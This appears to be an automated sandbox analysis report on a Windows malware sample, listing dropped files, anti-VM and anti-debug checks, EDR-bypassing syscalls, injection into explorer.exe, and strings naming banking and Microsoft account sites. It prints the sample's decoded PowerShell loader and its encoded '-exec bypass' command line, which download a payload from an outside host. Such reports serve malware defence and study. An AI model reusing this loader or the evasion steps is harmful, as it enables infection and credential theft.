Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\msvcp80.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImApp.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\msvcp80.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\mfc80u.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImApp.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\mfc80u.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\msvcr80.dll	Jump to dropped file

Source: C:\Users\user\Desktop\b6FArHy7yA.exe TID: 3660	Thread sleep time: -240000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6820	Thread sleep count: 3156 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6820	Thread sleep count: 6636 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5764	Thread sleep time: -14757395258967632s >= -30000s	Jump to behavior

Source: C:\Windows\SysWOW64\explorer.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Users\user\Desktop\b6FArHy7yA.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\Users\user\AppData\Local FullSizeInformation			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\Users\user\AppData\Local\Temp FullSizeInformation			Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\Documents\desktop.ini	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\Desktop\desktop.ini	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Temp	Jump to behavior

Source: b6FArHy7yA.exe, 00000000.00000003.2446811579.00000000032C9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: b6FArHy7yA.exe, 00000000.00000003.2446811579.00000000032C9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696487552\|UE
Source: b6FArHy7yA.exe, 00000000.00000003.2446811579.00000000032C9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: b6FArHy7yA.exe, 00000000.00000003.2446811579.00000000032C9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696487552f
Source: b6FArHy7yA.exe, 00000000.00000003.2446811579.00000000032C9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: b6FArHy7yA.exe, 00000000.00000003.2446811579.00000000032C9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: b6FArHy7yA.exe, 00000000.00000002.2775773721.000000000061E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@5f%SystemRoot%\system32\mswsock.dll
Source: b6FArHy7yA.exe, 00000000.00000002.2775773721.000000000065C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: b6FArHy7yA.exe, 00000000.00000003.2446811579.00000000032C9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: b6FArHy7yA.exe, 00000000.00000003.2446811579.00000000032C9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: b6FArHy7yA.exe, 00000000.00000003.2446811579.00000000032C9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: b6FArHy7yA.exe, 00000000.00000003.2446811579.00000000032C9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696487552
Source: b6FArHy7yA.exe, 00000000.00000003.2446811579.00000000032C9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696487552o
Source: b6FArHy7yA.exe, 00000000.00000003.2446738609.00000000032D6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696487552p
Source: b6FArHy7yA.exe, 00000000.00000003.2446811579.00000000032C9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696487552
Source: b6FArHy7yA.exe, 00000000.00000003.2446811579.00000000032C9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: explorer.exe, 0000000D.00000002.4562917810.0000000003278000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: b6FArHy7yA.exe, 00000000.00000003.2446811579.00000000032C9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: b6FArHy7yA.exe, 00000000.00000003.2446811579.00000000032C9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696487552j
Source: b6FArHy7yA.exe, 00000000.00000003.2446811579.00000000032C9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: b6FArHy7yA.exe, 00000000.00000003.2446811579.00000000032C9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
Source: b6FArHy7yA.exe, 00000000.00000003.2446811579.00000000032C9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: b6FArHy7yA.exe, 00000000.00000003.2446811579.00000000032C9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: b6FArHy7yA.exe, 00000000.00000003.2446811579.00000000032C9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: b6FArHy7yA.exe, 00000000.00000003.2446811579.00000000032C9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: b6FArHy7yA.exe, 00000000.00000003.2446811579.00000000032C9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: b6FArHy7yA.exe, 00000000.00000003.2446811579.00000000032C9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: SftTree_IX86_U_60.dll.5.dr	Binary or memory string: qhgFsJ
Source: b6FArHy7yA.exe, 00000000.00000003.2446811579.00000000032C9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: b6FArHy7yA.exe, 00000000.00000003.2446811579.00000000032C9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: b6FArHy7yA.exe, 00000000.00000003.2446811579.00000000032C9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696487552s
Source: b6FArHy7yA.exe, 00000000.00000003.2446811579.00000000032C9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: b6FArHy7yA.exe, 00000000.00000003.2446811579.00000000032C9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: b6FArHy7yA.exe, 00000000.00000003.2446811579.00000000032C9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
Source: b6FArHy7yA.exe, 00000000.00000003.2446811579.00000000032C9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: b6FArHy7yA.exe, 00000000.00000003.2446811579.00000000032C9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552
Source: powershell.exe, 00000005.00000002.4571654074.0000000007536000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllgBSAGUAcQB1AGUAcwB0AF0AOgA6AEMAcgBlAGEAdABlACgAIgBoAHQAdABwAHMAOgAvAC8AdwB3AHcALgAzADYAMAAuAG4AZQB0ACIAKQAuAEcAZQB0AFIAZQBzAHAAbwBuAHMAZQAoACkALgBDAGwAbwBzAGUAKAApAAoACgAgACAAIAAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0AUwBlAGMAbwBuA

Source: C:\Users\user\Desktop\b6FArHy7yA.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImApp.exe

Code function: 7_2_0041C63C IsDebuggerPresent,_crt_debugger_hook,SetUnhandledExceptionFilter,UnhandledExceptionFilter,_crt_debugger_hook,GetCurrentProcess,TerminateProcess,

7_2_0041C63C

Source: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImApp.exe

Code function: 7_2_004021F0 #810,#1323,LoadLibraryW,GetProcAddress,_getpid,OpenProcess,CloseHandle,FreeLibrary,

7_2_004021F0

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImApp.exe	Code function: 7_2_0041C63C IsDebuggerPresent,_crt_debugger_hook,SetUnhandledExceptionFilter,UnhandledExceptionFilter,_crt_debugger_hook,GetCurrentProcess,TerminateProcess,	7_2_0041C63C
Source: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImApp.exe	Code function: 7_2_0041C9D9 SetUnhandledExceptionFilter,	7_2_0041C9D9
Source: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImApp.exe	Code function: 7_2_020EA999 IsDebuggerPresent,_crt_debugger_hook,SetUnhandledExceptionFilter,UnhandledExceptionFilter,_crt_debugger_hook,GetCurrentProcess,TerminateProcess,	7_2_020EA999
Source: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImApp.exe	Code function: 7_2_03277044 IsDebuggerPresent,_crt_debugger_hook,SetUnhandledExceptionFilter,UnhandledExceptionFilter,_crt_debugger_hook,GetCurrentProcess,TerminateProcess,	7_2_03277044
Source: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImApp.exe	Code function: 7_2_032837A7 IsDebuggerPresent,_crt_debugger_hook,SetUnhandledExceptionFilter,UnhandledExceptionFilter,_crt_debugger_hook,GetCurrentProcess,TerminateProcess,	7_2_032837A7
Source: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImApp.exe	Code function: 7_2_10009E0C IsDebuggerPresent,_crt_debugger_hook,SetUnhandledExceptionFilter,UnhandledExceptionFilter,_crt_debugger_hook,GetCurrentProcess,TerminateProcess,	7_2_10009E0C

HIPS / PFW / Operating System Protection Evasion

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\SysWOW64\explorer.exe	Network Connect: 104.121.10.34 443			Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Network Connect: 217.144.184.19 1466			Jump to behavior

Encrypted powershell cmdline option found

Source: C:\Users\user\Desktop\b6FArHy7yA.exe	Process created: Base64 decoded $ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff = { Start-Sleep -Seconds 3 [System.Net.WebRequest]::Create("https://www.360.net").GetResponse().Close() Start-Sleep -Seconds 1 [System.Net.WebRequest]::Create("https://www.baidu.com").GetResponse().Close() Start-Sleep -Seconds 1 $fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff = "https://klipdajemua0.shop/int_clp_inter.txt" $ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff = New-Object System.Net.WebClient $fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff = $ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff.DownloadData($fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff) $ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff = New-Object System.IO.MemoryStream $ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff.Write($fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff, 0, $fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff.Length) $ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff.Seek(0, [System.IO.SeekOrigin]::Begin) $fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff = [System.Guid]::NewGuid().ToString() $ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff = [System.IO.Path]::Combin
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	Process created: Base64 decoded $ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff = { Start-Sleep -Seconds 3 [System.Net.WebRequest]::Create("https://www.360.net").GetResponse().Close() Start-Sleep -Seconds 1 [System.Net.WebRequest]::Create("https://www.baidu.com").GetResponse().Close() Start-Sleep -Seconds 1 $fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff = "https://klipdajemua0.shop/int_clp_inter.txt" $ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff = New-Object System.Net.WebClient $fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff = $ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff.DownloadData($fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff) $ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff = New-Object System.IO.MemoryStream $ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff.Write($fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff, 0, $fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff.Length) $ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff.Seek(0, [System.IO.SeekOrigin]::Begin) $fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff = [System.Guid]::NewGuid().ToString() $ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff = [System.IO.Path]::Combin			Jump to behavior

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	NtProtectVirtualMemory: Direct from: 0x30EFBB7	Jump to behavior
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	NtProtectVirtualMemory: Direct from: 0x303FBB7	Jump to behavior
Source: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImApp.exe	NtProtectVirtualMemory: Direct from: 0x77377B2E	Jump to behavior
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	NtProtectVirtualMemory: Direct from: 0x6FCDE92F	Jump to behavior

Injects code into the Windows Explorer (explorer.exe)

Source: C:\Windows\SysWOW64\more.com	Memory written: PID: 7088 base: 1179C0 value: 55			Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Memory written: PID: 7088 base: 2B9E008 value: 00			Jump to behavior

Maps a DLL or memory area into another process

Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe

Section loaded: NULL target: C:\Windows\SysWOW64\more.com protection: read write

Jump to behavior

Writes to foreign memory regions

Source: C:\Windows\SysWOW64\more.com	Memory written: C:\Windows\SysWOW64\explorer.exe base: 1179C0			Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Memory written: C:\Windows\SysWOW64\explorer.exe base: 2B9E008			Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImApp.exe "C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImApp.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	Process created: C:\Windows\SysWOW64\more.com C:\Windows\SysWOW64\more.com	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe	Jump to behavior

Source: C:\Users\user\Desktop\b6FArHy7yA.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -exec bypass -enc jabmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyaiaa9acaaewakacaaiaagacaauwb0ageacgb0ac0auwbsaguazqbwacaalqbtaguaywbvag4azabzacaamwakaaoaiaagacaaiabbafmaeqbzahqazqbtac4atgblahqalgbxaguaygbsaguacqb1aguacwb0af0aoga6aemacgblageadablacgaigboahqadabwahmaogavac8adwb3ahcalgazadyamaauag4azqb0aciakqauaecazqb0afiazqbzahaabwbuahmazqaoackalgbdagwabwbzaguakaapaaoacgagacaaiaagafmadabhahiadaatafmabablaguacaagac0auwblagmabwbuagqacwagadeacgakacaaiaagacaawwbtahkacwb0aguabqauae4azqb0ac4avwblagiaugblaheadqblahmadabdadoaogbdahiazqbhahqazqaoaciaaab0ahqacabzadoalwavahcadwb3ac4aygbhagkazab1ac4aywbvag0aigapac4arwblahqaugblahmacabvag4acwblacgakqauaemababvahmazqaoackacgakacaaiaagacaauwb0ageacgb0ac0auwbsaguazqbwacaalqbtaguaywbvag4azabzacaamqakaaoaiaagacaaiaakagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmacaapqagaciaaab0ahqacabzadoalwavagsababpahaazabhagoazqbtahuayqawac4acwboag8acaavagkabgb0af8aywbsahaaxwbpag4adablahialgb0ahgadaaiaaoaiaagacaaiaakagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyaiaa9acaatgblahcalqbpagiaagblagmadaagafmaeqbzahqazqbtac4atgblahqalgbxaguaygbdagwaaqblag4adaakacaaiaagacaajabmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyaiaa9acaajabmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmac4arabvahcabgbsag8ayqbkaeqayqb0ageakaakagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmackacgakacaaiaagacaajabmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgagad0aiaboaguadwatae8aygbqaguaywb0acaauwb5ahmadablag0algbjae8algbnaguabqbvahiaeqbtahqacgblageabqakacaaiaagacaajabmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgauafcacgbpahqazqaoacqazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmacwaiaawacwaiaakagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyaz
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -exec bypass -enc jabmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyaiaa9acaaewakacaaiaagacaauwb0ageacgb0ac0auwbsaguazqbwacaalqbtaguaywbvag4azabzacaamwakaaoaiaagacaaiabbafmaeqbzahqazqbtac4atgblahqalgbxaguaygbsaguacqb1aguacwb0af0aoga6aemacgblageadablacgaigboahqadabwahmaogavac8adwb3ahcalgazadyamaauag4azqb0aciakqauaecazqb0afiazqbzahaabwbuahmazqaoackalgbdagwabwbzaguakaapaaoacgagacaaiaagafmadabhahiadaatafmabablaguacaagac0auwblagmabwbuagqacwagadeacgakacaaiaagacaawwbtahkacwb0aguabqauae4azqb0ac4avwblagiaugblaheadqblahmadabdadoaogbdahiazqbhahqazqaoaciaaab0ahqacabzadoalwavahcadwb3ac4aygbhagkazab1ac4aywbvag0aigapac4arwblahqaugblahmacabvag4acwblacgakqauaemababvahmazqaoackacgakacaaiaagacaauwb0ageacgb0ac0auwbsaguazqbwacaalqbtaguaywbvag4azabzacaamqakaaoaiaagacaaiaakagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmacaapqagaciaaab0ahqacabzadoalwavagsababpahaazabhagoazqbtahuayqawac4acwboag8acaavagkabgb0af8aywbsahaaxwbpag4adablahialgb0ahgadaaiaaoaiaagacaaiaakagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyaiaa9acaatgblahcalqbpagiaagblagmadaagafmaeqbzahqazqbtac4atgblahqalgbxaguaygbdagwaaqblag4adaakacaaiaagacaajabmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyaiaa9acaajabmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmac4arabvahcabgbsag8ayqbkaeqayqb0ageakaakagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmackacgakacaaiaagacaajabmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgagad0aiaboaguadwatae8aygbqaguaywb0acaauwb5ahmadablag0algbjae8algbnaguabqbvahiaeqbtahqacgblageabqakacaaiaagacaajabmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgauafcacgbpahqazqaoacqazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmacwaiaawacwaiaakagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyazgbmagyaz			Jump to behavior

Source: ImApp.exe, 00000007.00000002.3546925182.0000000067411000.00000002.00000001.01000000.0000000A.sdmp, ImApp.exe, 00000008.00000002.3758362820.0000000067411000.00000002.00000001.01000000.00000018.sdmp, ImApp.exe, 0000000B.00000002.3974483890.0000000067411000.00000002.00000001.01000000.00000018.sdmp	Binary or memory string: 7gProgmanVistaElevatorMsg =)mu
Source: ImApp.exe, 00000007.00000002.3546925182.0000000067411000.00000002.00000001.01000000.0000000A.sdmp, ImApp.exe, 00000008.00000002.3758362820.0000000067411000.00000002.00000001.01000000.00000018.sdmp, ImApp.exe, 0000000B.00000002.3974483890.0000000067411000.00000002.00000001.01000000.00000018.sdmp	Binary or memory string: a+bSysPagerToolbarWindow32Shell_TrayWndTrayNotifyWndCommonDataUpdateIndexApplications\wmplayer.exe\SupportedTypesrealplayerquicktimeacro.swf.ico.jpe.wmf.bmp.jif.jpeg.gifico%%%02X+(mCgV

Source: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImApp.exe	Code function: GetThreadLocale,GetLocaleInfoA,GetACP,		7_2_0041D0C2
Source: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImApp.exe	Code function: GetThreadLocale,GetLocaleInfoA,GetACP,		7_2_020EB1F0

Source: C:\Users\user\Desktop\b6FArHy7yA.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
